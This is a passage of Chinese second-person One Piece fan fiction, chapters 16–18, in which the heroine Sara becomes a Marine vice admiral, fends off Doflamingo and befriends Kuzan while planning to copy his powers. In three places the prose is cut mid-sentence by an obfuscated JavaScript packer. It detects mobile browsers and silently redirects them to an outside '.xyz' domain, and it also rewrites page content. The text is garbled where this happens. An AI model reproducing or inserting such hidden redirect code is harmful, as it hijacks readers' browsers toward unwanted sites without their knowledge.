最后在你的安抚下,抱怨你极简风的卡文迪许还是把宝石拿下来了。在这之后,他还给你了一张缺了一角的生命卡,那是你的生命卡。 “总得让我有个找你的方法吧?朋友有对方的生命卡,不是再正常不过的事吗。” 显然,卡文迪许已经放弃让你成为他船员的事了。但第一次从他口中得知你们关系时,你的眼眶因感动而有些发热。 “你说得对,我的朋友。” - 和卡文迪许在香波地群岛分开后,你顺着之前的记忆找到了夏琪的酒吧。你走进酒吧时,看到了因你的到来而惊讶的夏琪,以及应该是活传奇的雷利。 “时隔一年又漂亮了呢,萨拉酱。” “夏琪姐才是,我都认不出来了。” 你和夏琪一人一句夸奖对方的话,结果笑出声的是在一旁的雷利:“果然和夏琪说的一样,是个很有意思的小姑娘。” 在这之后,你和夏琪以及雷利共进晚餐。晚餐的时间里,夏琪说你比刚开始开朗多了,你觉得这或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913113|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和卡文迪许的话痨属性有关。 不过这不重要,夏琪在这之后和你说到了蒂奇的事,说蒂奇得到了某颗果实后在满世界的找你。 “你身上有他想要的东西吗?” 提起蒂奇,那晚他在你身上刺的三刀的疼痛还残留在记忆深处。但夏琪的话让你明白了一件事,你和卡文迪许分开是对的。 至少蒂奇找你的麻烦时,你不会给他带来麻烦。 扯远了,你咽下口中的食物,接上夏琪的话题:“可能是我的能力和他不对付吧,也可能是单纯看我不顺眼。” 说到能力,雷利就感兴趣了。 “你的能力是什么?” “应该是复制吧。只要见过或接触过的能力者,我都能复制出对方的能力。” 没想到你会直接说出来的雷利怔了一下,就连夏琪也是一副惊讶的表情,这让你很是不解。 面对你的不解,夏琪看向你的眼神温柔又无奈:“萨拉酱,要是我们是你的敌人,现在你就死了。” “就像夏琪说的那样。本来能力者就有海水这个弱点,你再把使用的方法告诉对方,无疑是把自己所有弱点都摊在对方面前了。” 夏琪和雷利的话让你意识到自己的不足,和他们道过谢的同时,你把这些话牢牢记在心里。 许是被你的诚实打动,也可能是出于长辈对后辈的喜爱,饭后雷利对你的能力和霸气都摸了个底。 “不错,就这个年纪来说,你的霸气用得很好。” 如果雷利说这话时没把你埋进地里,你觉得他说的话还是有可信度的。 “但是你的能力带来的副作用太大了。利大于弊的能力...有点难办。” 用过老爹能力的副作用上来了,你忍着头晕目眩的不适感向雷利讨教。 “就是这个,所以我在试着解决这个问题,雷利先生有什么建议吗?” 闻言的雷利笑了起来。 “这个我可没什么建议。要怎么使用能力,还是要你自己去摸索。” 在这之后就没有然后了,雷利离开了酒吧,酒吧只剩你和夏琪。也是这样,夏琪兑现了上次说过的话,开了那瓶她说的好酒。 你和夏琪边喝边聊,期间就有说到以藏。得知你和以藏分手后才出的海,夏琪看向你的目光更为温柔了。 “萨拉酱有遇到好男人吗?” 好男人的标准你不太清楚,但卡文迪许应该能算是其中一个。 “有的,我还和他交上朋友了。” 不知道是那个字戳中了夏琪的笑点,她笑得眼泪都出来了。在你迷茫的表情中,夏琪戳了下你的额头。 “能交上朋友是好事。但遇到看上眼的,试着交往也是可以的。” 说实话,你还没想过和以藏之外的人交往,但不妨碍你和夏琪继续聊这个话题。 “那如果我同时遇到很多个呢?” 闻言的夏琪朝你露出了意味深长的笑容,涂着红色指甲油的食指落在了你的鼻尖。 “全部都接触过,才知道自己想要的是哪一个吧?” “萨拉酱还这么年轻,别把自己吊死在一棵树上了。毕竟大海很广阔,不是吗?” 你听懂了,连着上次夏琪和你说的话也知道是什么意思了。以这个话题为开端,夏琪和你说了些她年轻时的事,你听得津津有味,并打开了新世界。 “想要的都握在手里,不是海贼会做的事吗?” 这是你在酒精完全上头前记住的一句话。 16. 中将 再次离开香波地群岛的你没有上次幸运,蹭的船沉了。本身就是能力者也是外来者的你自然没有人救,十有八九要淹死的时候,你获救了。 救了你的是不知名岛上的妇人,据说是她的女儿先发现的你。妇人是不想救你的,但她的女儿坚持要妇人救你。 说来也是巧合,那个小女孩叫“塞拉”,和你只差一个字。或许就是这样的缘分,才让本就不怎么富裕的一家两口收留了无处可去的你。 遗憾的是卡文迪许给你的电话虫在海难时不见了,幸运的是他特制的生命卡项链还挂在脖子上。 本想着早日离岛,结果你发现这座岛都没人出海,甚至半个月都没有海贼船和商船靠近。妇人告诉你,这是因为这座岛太穷了,连海贼都不屑于到访。 但贫穷没有夺走她们的笑容和幸福,即使塞拉年纪轻轻就被医生说活不过十岁。 无法离开这座岛屿的你便和妇人及塞拉住在一起,度过了一段普通人才有的生活。年仅六岁的塞拉很高兴,每天晚上都缠着你讲海上的见闻。 看到塞拉,你想起了刚上白团船的你。和你不同的是,塞拉的身体比那时的你还要差,一点海风都能让她大病一场。 即使如此,塞拉也有着海军梦。她说,她要成为厉害的海军,只有这样,她才能离开这座岛屿去到海上,才能赚更多的钱让她和她的母亲过上更好的日子,才能认识更多优秀的人,最后和喜欢的人过上幸福的生活。 你无法形容自己听到塞拉谈论她天真无暇的梦想时的感觉。是该告诉塞拉她可能无法长大,还是成为海军后可能被你或者你的同行杀害? 无法说出口的话,都变成了对塞拉梦想的支持和肯定。而塞拉也把你当成了她的同伴,认可了你的能力。 “萨拉姐姐,你这么厉害,一定能成为厉害的海军的!” 可你是海贼,和海军站在对立的立场。但你还是答应塞拉了,只因你不想让满心欢喜的双瞳失去亮光。 “嗯,我会的。” 转眼的时间,你在这座岛上生活了两个月,塞拉的身体状态也一天比一天差,现在连起床都十分困难。 你所学的知识只能让塞拉勉强减缓疼痛,无法让她维持生命。对此,妇人和塞拉都表示感谢,让你不用介意。也是这时,这座贫穷到连生存都困难的岛屿迎来了凶残的海贼。 他们把村民所有的粮食都抢走,抢走还不够,还要掠夺年轻的劳动力和女人。你并不想管闲事,但海贼闯入了塞拉的家,抢夺塞拉和妇人所剩无几的粮食,还把抢夺的目标换成你。 你是想在海贼把你带到船上时黑吃黑离开这的,但年龄尚小且瘦弱的塞拉站起来了,她拿着木制的杯子砸向海贼,哭叫着让他们放开你。 “可恶的小鬼、你想死是不是?!” 恼羞成怒的海贼把不知染上谁的血的刀挥向塞拉,在塞拉“滚出去”的哭声中,你杀掉了闯入塞拉家的海贼。 你放弃了蹭船的计划,在塞拉的哭叫声中把闯入岛上的海贼都杀了。 于是村民恐惧的对象由海贼变成你,叫喊着让你滚出这座海岛,更有人把海贼出现在这的事安在你身上。只有塞拉为你说话,因为她知道,你是为了保护她而杀掉了海贼。 再到后来,姗姗来迟的海军被岛上无一幸存的海贼的画面吓得惊掉下巴,得知拯救了这座岛上的人是你后,带队的海军将领看向你的眼神里多了几分敬佩。 这便是你加入海军前遇到的事。 - 四个月当上中将是运气,也足以说明现在的海军很缺人。直到现在,你也还是没熟悉自己的海军身份,更别说被海军的上下级叫“萨拉中将”。 在此期间,新闻社还对你进行了采访,让你占了两期报纸的头条,天知道你看到报纸上穿着海军制服的自己有多惶恐。 先不说卡文迪许看到你占了头条会不会抓狂的事,你比较在意的是老爹他们。你敢打赌,老爹他们看到你成为海军的照片指定笑得莫比迪克号都抖三抖,谨慎的人则是会怀疑你是否背叛了老爹。 万幸的是现在没人知道你原来是海贼的事,你也没遇到白团的人和卡文迪许。只要你再干一段时间,在塞拉的期许中干出一个能让战国气得辞退你的失误,你就万事大吉了。 问题来了,要是这个失误一直没出现呢?或许你该考虑主动制造失误的计划,而不是在随时都能抓住你的海军基地和本部打转。 但有些情报,是只有海军才能接触到的,你趁现在有个一官半职,了解了一下和之国的情况。 虽说在此之前你听以藏说过和之国的情况,但真的了解过它的实情后,你觉得进到里面都难,更别说在凯多的军团下推翻他的压迫。 长远的事你解决不了,便将目标定在了近期的事情上。像是近距离观摩或接触海军三位大将,习得他们的能力。再来则是尽快从海军中脱离,阻止事情往不得了的方向发展。 打断你思考的是副官的声音,她给你带来了本部传唤你的消息。 “我知道了,收拾一下就去本部吧。” “好的!” 看着新来的副官,你想到了塞拉的梦想,看向副官的眼神柔和了不少:“今天要辛苦你了,你也去做好去本部的准备吧。” 被你慰问的副官在原地怔了几秒,随后顶着泛红的脸应下了你的安排。直到副官退出你的办公室,你才有机会吐出一口浊气。 总而言之,先做好去海军本部的心理准备。 - 这是你第二次来海军本部,第一次是你被上面升为中将时的事。也是那个时候,你才知道那天在酒吧遇到的男人是大将。 对于你和库赞来说,在海军本部见到对方都是很微妙的事。好在接触的时间不长,宣布完你升为中将的事,战国就把你喊出去了。 但这次不同,你不仅要和三大将见面,还要和其他中将认识,其中还有被海军收编的七武海。 你先是参加了海军的会议,和其他同僚打了个招呼,然后被战国领着你和三大将一起去见七武海。 一时间,你不知道自己该为自己被海军夹击的事而不安,还是为七武海里可能有人知道你的海贼身份而惶恐。 许是你的情绪太显脸,战国一改刚才在会议上严肃的样子,一脸慈祥地安慰你:“别担心,今天只是让七武海认识你,好方便之后任务的交接。” “我明白了,我会努力的。” 大概是很少见你这种类型,波鲁萨利诺调侃了下你的性格,又说了下战国不一样的态度让人羡慕什么的,每一句话都符合他给你的第一印象。 幸运的是到七武海会议室的路不长,不幸的是为了加深七武海对你的印象,这次负责讲解会议内容的主持人是你。至于七武海,你在还不是海军时就记住他们的长相了。 战国推开七武海会议室的门时,早有心理准备的你还是被里面的随时都能打起来气氛吓一跳。 但这不是你负责的事,是战国要担心的事。而有协议的七武海,也在看到战国时停下了随时能开战的状态。 “都坐好,开会了。萨拉,可以开始了。” 在战国的命令下,你打开投影电话虫,在人均高过你的会议室里执行你的任务。 “很感谢各位在百忙之中抽空参加今天的会议,现在由我向各位讲解会议的内容。” 会议的内容不多,主要是把近期政府列为需要剿灭的海贼介绍一下,让七武海认一下脸,再来是说一下政府对七武海颁布的新管制方案什么的。 没人打断会议的过程很顺利,顺利到你只需把投影关掉就能走了,结果坐在你正对面的多弗朗明哥笑了。 “比起会议内容,我对于你们新来的人兴趣更大,看上去比上次那个要经玩。” 这是多弗朗明哥对海军的挑衅,并不需要你的出声。这不,第一个维护你的就是带你来的战国。 “注意你的身份,多弗朗明哥。” 被提醒的多弗朗明哥也不气,皮笑肉不笑地说着“好”。但你的第六感告诉你,那双被墨镜挡住的眼睛还停在你的身上,且它的主人肯定会找你的麻烦。 就实力而言,你肯定打不过多弗朗明哥的,身份他也压你一头。最好的办法,还 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光听句式还觉得这个人挺好的,有给你拒绝的机会。但无形缠住你四肢的线,足以说明多弗朗明哥没有给你拒绝的机会。 甚至在你开口拒绝他之前,缠在你四肢上的线收得更紧了。你无法挣脱掉身上的线,疯狂运作的大脑正思考挣脱现在这种情况的方案。 “这不是你的德雷斯罗萨,多弗朗明哥。我们新上任的中将也不是你可以随便挑逗的情人。” 是库赞的声音。 大抵是大将的身份和实力还是需要顾及的,缠住你四肢的线消失了,多弗朗明哥走到你身后,古怪的笑声在你身后响起。 “青雉大将的意思是,只要萨拉中将是我的情人,就能随便挑逗的意思了?” 有意曲解库赞原话的多弗朗明哥让你总觉得哪里不对劲。你不认为自己有这个魅力让多弗朗明哥对你一见钟情,他从见面到现在的所有对话和行动,都透露着这个人有极强的逆反心理。 简单的来,越是不让他干的事,他便做的越起劲。无疑,多弗朗明哥的逆反心理在战国和库赞的阻止下更强烈了。 面对多弗朗明哥有意曲解自己原话的情况,库赞无奈地揉了把自己的头发。 “我可没这么说过。而且萨拉中将从头到尾都没答应过你的邀请,被拒绝还纠缠不清的男人可不会受女士的爱戴。” 说话的时间里,库赞一改懒散的态度,身体处于都能视多弗朗明哥的回答发起进攻的状态。 达成目的的多弗朗明哥也不恋战,跳到窗台拉开和你之间的距离。 “说的也是,青雉大将的话我会记在心里的。” 多弗朗明哥的视线从库赞身上落在你的身上。他笑得很绅士,和刚才似你为玩具的态度完全不同。 “希望下次来到本部时,萨拉中将能赏脸和我共进晚餐。” 也不管你是什么回答,多弗朗明哥离开了海军本部。干脆利落的态度,和刚才他的行为形成强烈的对比。 你松了口气,转身向库赞表达你的感激之情:“谢谢你的相助,青雉大将。” “不客气,同僚之间,这点忙换做萨卡斯基也会帮的。” “口头上的礼仪还是要做足的。” 按理说,在对话结束时,和你没什么来往的库赞就该离开了。可他没有,还站在你面前,仿佛在等你和他搭话。 于你们现在的关系而言,你应该和库赞道别了。可从上下级的关系来看,库赞没说离开,你也不好主动提离开,何况他在刚才还帮了你的忙。 他是看出了什么吗?你想起了之前和库赞在酒吧遇见的画面。可惜那个时候的你还没开发能力,不然就把他的能力学了。 等等,如果是这样,干脆换个思路吧。 “不知道青雉大将接下来是否有时间,让我请你吃个饭,以表我对你的感激之情?” 伫立在原地的库赞说话了。 “嘛...被萨拉中将邀请,就算没空我也会赴约的。” 17. 醉酒 一开始你是想和库赞去本部食堂吃饭的,考虑到你刚上任没多久,本部人多口杂,难免不会有人在见到你和库赞同行时传出流言蜚语。 于是,你把吃饭的地方换成马林福特排得上号的餐厅。结果来到装修华丽的餐厅,库赞的表情让你觉得自己选错地方了。 另一方面,库赞也从你的微表情里读出了你的情绪变化,主动开口和你解释。 “抱歉,我不是对你选的餐厅有意见,只是觉得这种地方...怎么说呢,有点束手束脚的。” “就是感觉这种地方不适合我吧。” 懂了,是过于正式的地方反而约束了库赞的性格,虽然不排除他说的束手束脚有其他的意思,但记得此行目标是什么的你,果断换了个地方。 “这样的话,附近的酒吧怎么样?刚好,副官有和我提过马林福特有家白天也开的酒吧,里面的氛围你应该会喜欢。” 说到关键词时,库赞看向你的眼神里多了一分诧异。 “你不是喝不了酒吗?” 果然,库赞还记得你,甚至记得你点果酒在吧台装模做样的事。 “我可以点着让你喝。” 似乎是想到了什么,库赞露出难为情的表情,他低声说了句什么你没听清,最后还是同意了你把餐厅换成酒吧的提议。 许是酒吧是在白天开的原因,里面除了你和库赞,就只有一两个坐在角落喝闷酒的人。库赞点了上次点过的酒,你则是跟着他点了一样的酒。 待你们都拿到自己那杯酒后,你多少也察觉到库赞能在多弗朗明哥出现时,掐着点出现帮你是有别的意图的事。 “青雉大将是有什么想和我说吗?” “叫我库赞吧,那个代号叫着感觉还在上班,现在也没穿制服。” 你看了眼脱下制服的你和库赞,觉得他说的挺有理的。 “好的,库赞。所以你要和我说什么?” 话题又回到库赞身上。见状,库赞也不和你打太极,直接说了自见到你后一直困扰他的问题。 “该说你机灵还是脑子转的快呢?其实也没什么,就是觉得上次好像惹你生气了。” 库赞说着,晃着酒杯里的酒,没有像上次见面那样一口饮尽。与此同时,库赞的话也让你想起了当时生气的原因。 当时你生气,是因为库赞的行为和以藏可以替你做所有决定的行为相似,你把对以藏的不满转移都库赞身上罢了。 而这件小到你都忘了的事,还能让库赞记到现在,着实令你意外。不过这也说明,你可以借着这件事和库赞拉近距离,趁机学他的能力。 “那个时候和男朋友吵架了,刚好库赞做的事和他有点像,我就有点生气。” 你学着库赞,晃着酒杯里的酒。同一时间,近期海军工作和心理上的压力让你都没有时间想以藏的事。一想起以藏,你的嘴角扬起了苦涩的角度。 “现在看来,那个时候的我真的很幼稚啊。” 那个时候想着离开以藏,真的离开后又想见他了。 饶是不知道你实情的库赞也看出你的情绪不怎么好,靠在酒杯边缘的库赞正逼迫自己想出新的话题。 很遗憾,他和你唯一的交集就那次的事,以至于他的努力是无用的。 “...那个,要不换个话题?” 库赞的声音让你从回忆里回到现实,急忙向身旁的人解释。 “啊,没关系的,我已经和他分手了,并没有把这件事放在心上。” 闻言的库赞则是注意到了你话题里的信息。 “分手?” 你顺着话题说下去。 “对啊。你看,海军的工作这么多,我又升职快到离谱,真有男朋友也因为工作的事分手了。” 这下好了,库赞也被你说的话勾起为数不多的几次恋爱回忆。 “...确实,就算有,能走到最后的整个本部一只手也数的过来。” 其中就有不少和库赞一样的年龄,却至今都没有恋爱经历的单身汉,具体是谁库赞就不说了。 听了库赞的话后,你的兴趣来了:“那库赞也是你所说的其中一员吗?” 话题再次回到自己身上时,库赞是有些惊讶的。但看到你因此有了笑意的脸,库赞在聊与不聊间选择了前者。 “这个时候要聊这个吗?怎么说呢...算是吧,反正到我这个年纪,有没有谈过都不重要了。” 说这话的库赞感觉身上有蚂蚁在爬,可他抓不到那只蚂蚁。它很小只,移动的速度又很快。只是眨眼的功夫,它就从库赞的背脊爬到了胸口。 可你笑了,笑得十分轻快。 “什么叫‘这个年纪’啊。在我看来,现在的库赞也很有魅力啊。” “虽然样貌和年龄是优势,但人格魅力可是会随着年龄增长而越发诱人的。” 你说着,脑海里闪过了夏琪和雷利的脸,还有以藏和老爹他们,每个人都比你年长很多,可带给你的体验都不同。 库赞无比清楚,你是在安慰他,没有别的意思。但看着正值青春年华的你说出这种话,胸口处的蚂蚁又顺着胸口往上爬了。 “这可不像二十岁出头的人会说的话。” 终于,库赞喝下了半杯雪梨,他干哑的喉管才变得湿润,脸上的热度却只增不减。他有些后悔了,后悔和你来喝酒了。 你却看不出他内心的窘迫,轻抿了一口杯中的雪梨,微红的脸朝他扬起和同龄人相处时才有的笑容。 “毕竟有人说我‘小小年纪却一把年纪’,说出些不符合年龄的话也很正常吧?” “啊啦啦...” 库赞觉得他可能醉了。但让他产生醉意的不是酒,而是身旁的你。 下一秒,和他有说有笑的你趴在吧台上睡着了。 也是这样,库赞想起来了你不能喝酒的事。可就在刚才,你喝了,喝了小到可以忽略的剂量。 见过酒量差的,但库赞没见过酒量这么差的。即使如此,他还是喝掉了自己那杯,开始思考怎么安排你的事。 “有点难办啊,能联系她的副官送回去吗?” 啊,他没有你副官的联系方式。这意味着,他只能把你送回本部再联系你的副官。 越想越觉得麻烦的库赞只想让时光倒流,回到你们还在餐厅时的时间。要是知道你会喝醉,他怎么都不会答应你换地方聊天的提议的。 现在想来,每次遇见你,库赞都会有新的困扰。 - 酒精让连着两个月没睡过好觉的你睡了个好觉,还有因此对你格外担心的副官。 “真的没问题了吗?我们大家都很担心中将。” 副官担心的表情是真的,毕竟谁整个基地的人都没想到,你会因为一点酒睡上一天一夜。你醒来时,还听到基地的人怀疑是有人给你下毒了,纷纷提议要拿下毒的人给你血祭。 一觉醒来发现周围人逢人便说你死了的感觉很新奇,但他们都是一片好心,你没有理由惩罚他们。 “没问题的。抱歉啊,折腾了你一天,今天你休息一天吧,黑眼圈都出来了。” 毕竟你睡了一天还没有意外发现,说明副官真的很努力。而被你关心的副官猛地摇头,顶着泛红的脸拒绝了你的提议。 “不,能为萨拉中将工作是我的荣幸!只要能跟着萨拉中将,我不睡不吃也没关系的!” 显然,你的副官才是最需要休息的那个。她亢奋的情绪,明显是熬通宵熬出来的。 “不...还是要休息和吃饭的。听我的,现在你就去休息,明天再来上班。” “那谁来辅助中将...?” 副官的表情很不安,仿佛你不是让她休息,而是让她辞职一样。你耐心地和她解释,试图让她接受你的提议。 “安心吧,我会找人替你一天的。想要更好的工作,就要充足的体力和精神不是吗?我可不想见到我的下属因为我的事倒下。” 许是你说到了点上,刚才还很有精神的副官抿着嘴,擦去了眼角的泪。朝你敬礼后,就用光速离开你的办公室去休息了。 然后在你说要找人替副官的班的时,你基地里的人打起来了。而打起来的原因,竟是为了争夺临时副官的位置。 你喝醉时头不疼,听到这个消息时头疼起来了。而带来这个消息的,还是你昏睡前一起喝酒的库赞。 看到库赞从你办公室的窗户进来时,你是意外的。而不走大门进来的库赞十分自觉地告诉你,他此行的目的。 “我让你的副官在你醒时给我打电话,我就来了。” “听过你管辖的基地里的海军都格外有精神,没想到他们会精神到为了帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913115|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你工作而打起来。” 回想起路过训练场时看到男女都嚷嚷着“副官的位置是我的”时而打起来的画面,未曾享受过这种待遇的库赞体会到了区别待遇。 “不...请不要用这件事调侃我,这是我的疏忽。” 鉴于基地的混乱比较重要,你决定先把库赞的事放一边,把人留在你的办公室后,你去训练场制止基地里海军的纷争了。 等你解决完基地里的小插曲回到办公室时,库赞坐在平时副官坐的位置上,一副看到什么不得了的东西的表情。 看到你回来了,库赞急忙副官的位置上站起。你也调整好状态,和库赞聊起来。 “抱歉,让你见笑了。所以这次青雉大将来这里是有什么事吗?” “倒没什么事。就是想来看看你的情况,毕竟你的副官说你睡了一天一夜。” 从库赞口中得知自己糗事的感觉让你脸上一热,你很后悔,就不该喝酒的。 “我先声明一下,我睡一天一夜不是因为喝酒。” “我知道,你们基地的医生说是积劳已久。” 好吧,库赞是大将,他去问医生,医生肯定会开口的。后知后觉的库赞干咳了一声,补上一句让他的行为合理化的话。 “那什么,作为上级慰问一下下级,再正常不过了吧?” 确实没什么问题,只是现阶段的你脑子已经够乱了,不想再让别的事把你脑子弄得更乱。 “感谢青雉大将对我的关心。如果没什么事的话,我可以安排基地的人带你去食堂吃个饭,你再回去工作,你看这样可以吗?” 饶是再迟钝,库赞也知道你是在赶他走。怎么说呢,他是真的想关心一下你,却不知道为什么总是弄巧成拙。 这样的认知让在海军打滚了二十多年的库赞有些挫败。 “不用麻烦了,我在这里逛会儿就回本部了。” 库赞这么说着,转向办公室门口,准备离开的样子。也是这样,你意识到自己的语气和态度不算好,甚至能说拂了库赞一片好心。 于公于私,和库赞交恶都不是好事。在库赞离开办公室的前一秒,你叫住了他。 “如果青雉大将有时间的话,能否等我处理完手上的工作,再由我带你在基地里参观?” 已经摸到门把的库赞定住了,他在犹豫。今天确实没什么工作,他能出来摸鱼也是因为没什么急事。 但留在你这里,又觉得不符合你们两人现阶段的关系,虽然他是挺想和你多点来往的。 “或许青雉大将愿意视察一下我们基地里员工食堂的饭菜,是否达到本部要求的指标?” 在他犹豫的时间里,你都替他找好台阶了。不管是拒绝还是接受,你们之间的互动都很合理。 所以库赞顺着你给的台阶留下来了。 “话都说到这个份上了,那就这么做吧。” 在你朝库赞露出温和的微笑时,库赞觉得他来这一趟没白来。 果然,比起相看两相厌的同僚,还是年轻富有活力的你更顺眼点。 - 在这之后,你借着带库赞参观基地的理由,和库赞比划了两下。不管是武装色霸气的练度,还是海军六式的熟练程度,库赞都甩你几条街。 可你想见的不是这些,你想要学习库赞对果实能力的应用。主动提出会显得奇怪,你便以身作则,主动使用自己的果实能力引诱库赞。 除了老爹他们的能力没用上,其他的能力你都用上了。即使如此,库赞还是没被你逼到用上他的能力,倒是你的能力让他大开眼界。 “真意外,你能同时用几种能力。” 过度使用能力的副作用上来了,你忍着身体的不适,为自己的行为做解释。 “毕竟复制的作用不大,只能把所见所闻的都学上嘛。” “也不是这么说。在我看来,如果你能把使用的能力效用最大化,应该和本尊有的比。” 如果说这话时,库赞的脸上有一丝倦意你就信了。 不能急,学习的事不能急,要知道你最擅长的就是忍耐。只要你还在海军,你的身份没暴露,你总能学到库赞的能力。 “谢谢你的夸奖。练也练过了,现在到饭点了,我们去食堂吃饭吧。” 在你的提议下,你总算和库赞吃上一顿正式的饭了。 18. 人望 自从上次和库赞喝过酒后,库赞隔三岔五便会来你基地里摸鱼。你其实不是很懂库赞怎么想的,好不容易从本部出来,却把摸鱼的时间花在你所在的基地。 不觉得哪里不对劲吗? 从你们上下级的关系来说,你是没理由赶他走的。等你回过神时,你的办公室里还有库赞专属的杯子了。 许是库赞经常会来你办公室的原因,以往只有你和副官在的办公室,更多时候是三个人的办公室。为此,副官还私下和你抱怨过库赞。 具体内容你记不清了,基本都是希望库赞能好好干活少来你们基地摸鱼的话。你不好说顶头上司的坏话,只能拍拍副官的肩以表安慰。 “萨拉中将才不会喜欢这种类型呢。” 这是副官抛开上下级关系、出于本心说的话。你不好回答,毕竟为了学到库赞的能力,你很有可能会利用对方的情感来达成目的。 安慰好副官的情绪后,副官拿着你让她发布的悬赏令出门。转身的时间,你就看到总把窗户当大门的库赞了。 “看来我来的不是时候。” 显然,库赞听了不少副官对他的怨言。你无奈地摇头,走到办公桌前给库赞的杯子倒茶。 “你听了多少?” 坐在沙发上的库赞接过你递给他的杯子,沉吟片刻。 “嗯...没听多少。放心,我一个字都不会记住的。” “那就好,我相信青雉大将不会为难她的。” 作为副官的上司,你还是要维护下属的。本就不把这当回事的库赞,更在乎你对他的称呼。 “怎么说呢,我都来摸鱼了,你就别叫我这个代号了。” “好的,库赞。所以,今天你又要在我这里待到什么时候呢?” 喝了半杯茶润喉的库赞放下杯子,用问句回答了你的问题。 “你的意思是...?” 你脱下身上会随风飘起的制服外套,调整了一下系在脖子上的领带。 “我的意思是,今天天气不错。与其待在室内,不如和我去镇上逛逛吧。” - 库赞经常会来你基地的事,基本整个基地的海军都知道这事。所以,见到你和库赞一起出门时,驻守基地的海军也不奇怪,就是表情有些狰狞。 这种狰狞只有库赞注意到,不如说这种狰狞就是基地里的海军因他而存在的。 “不愧是近期本部人气最高的中将。” 闻言的你很是无奈。出门前库赞才让你别叫他代号,结果和你同行的库赞倒是还记得你的职称。 “在外面就别说这些了,叫我萨拉吧。” 余光看到你无奈的神情的库赞怔了下,随后改口。 “好的,萨拉。” 短暂的交谈过后,库赞把目光放在未曾仔细看过的镇上。你所在的管辖区不算富裕,但镇上的居民都很亲切。 这不,只要见到你,路过的居民都会亲切地叫声“萨拉中将”,你也会回以相同的态度和他们打招呼。 期间也有不少孩童路过,他们都高兴地喊着“萨拉姐姐”,然后围在你旁边,用稚嫩的声音叫你陪他们玩。 “抱歉啊,今天我要陪朋友,下次再陪你们玩吧?” 被你拒绝的孩童发出失望的呼声,却没进一步纠缠,听话地走到一旁。就是和你道别时,库赞注意到他们看向自己的眼神不太对劲。 怎么说呢,就和你的副官看他的眼神一样。 最重要的果然还是小镇幸福祥和的氛围吧。要知道在你到来前,这可是本部众多难啃的骨头的其中一员。 而你被任命为中将调到这里,只用了两个月就打理成这样,手段绝对了得。 一开始本部也彻查过你的身份,期间也有不少对你不利的言论,但这些你都用实力打回去了。所以,在你被任命为中将前,听了很多有关你的传言的库赞,是有些怀疑传言中的你是否是真人的。 结果你不仅是真人,还是和他有过一面之缘的人,着实令库赞意外。想到这,库赞看向你的目光有些敬佩。 “怎么了,这样看着我?” 注意到库赞目光的你转过头,视线短暂的交汇后,库赞先一步移开视线。 “没什么,只是觉得你很厉害。” 闻言的你不禁笑出了声:“能被库赞这么说,看来我还挺厉害的。” 不知道哪里戳中你笑点的库赞有些不知所措。 “事实就是很厉害啊。” 年轻的海军很多,年轻又貌美的海军也很多,但能这么快升到中将级别,又受人敬仰的,真找不出几个。 而你没把库赞对你的夸奖放心上,和往常聊天一样应下了他对你的夸奖。 “那我就满怀欢喜的收下你对我的夸奖了。” 轻描淡写的语气,库赞敢肯定,你绝对是把他说的话当耳边风了。但由他来夸你,确实没什么说服力。 于是,库赞就跟着你在小镇居民有说有笑的声音中走到了镇上的收留所。 “这里收留的都是镇上因为意外失去家人的孩子。” 在你的介绍下,库赞难以把你说的话,和眼前因你的到来而展露笑颜的孩子联系在一起。 除了孩童和收留所的工作人员,还有几个海军在这,而这些海军在不久前还在教收留所的孩子学防身术。 这不,没了教学的目标后,几个海军急忙跑到你面前敬礼,带队的海军先开口。 “萨拉中将,今天是有什么任务吗?” “没有任务,只是在办公室坐久了出来走走而已。” 你刚说完,抓着你右手的孩子注意到了库赞的存在,稚嫩的声音说出了于今天的库赞而言,杀伤力最大的话。 “萨拉姐姐,旁边这个叔叔是谁啊?” 叔叔?好吧,和你站在一起,他确实是叔叔辈的。默默接受了现实的库赞有苦难言,也是这样,在场的海军才注意到他的存在。 “青、青——” 赶在他们开口前,库赞出声制止了他们会让孩童和工作人员惶恐的话。 “咳,我是以萨拉朋友的身份来这玩的,不用在意我的存在。” “对,就是跟我出来散步的朋友,你们继续忙吧。” 有了你的肯定,前来打招呼的海军纷纷劝说围着你的孩子离开。显然,难得见上你一面的孩子不愿意走,还是你说了之后会来陪他们,他们才依依不舍地回到里面训练。 你和收留所的工作人员交代了一些事项后,又带着库赞往下一个目的地出发。许是你的反射弧有点长,离开收留所后,你才把刚才孩子说过的话当回事。 “想笑就笑吧...别把你憋坏了。” 有了库赞这句话,肩膀耸动的你才笑起来,还边笑边安慰他:“他们没有恶意的,偶尔也会有孩子故意叫我‘阿姨’来逗我。” 不排除有这种情况,但库赞可以肯定,他们叫他“叔叔”,和叫你“阿姨”是两个意思。 “嘛,我也确实是叔叔辈的。” 说是这样,其实他也挺在乎年龄的吧,不然怎么会觉得他的脸有点热呢? 这个话题没有持续多久,驻守在瞭望台的海军拉响了小镇的警报声。同一时间,你一改刚才轻松的态度,恢复了以往库赞在本部最熟悉的态度。 “我先去处理岸边的事,就麻烦你在这等我一会儿了。” 交代完注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 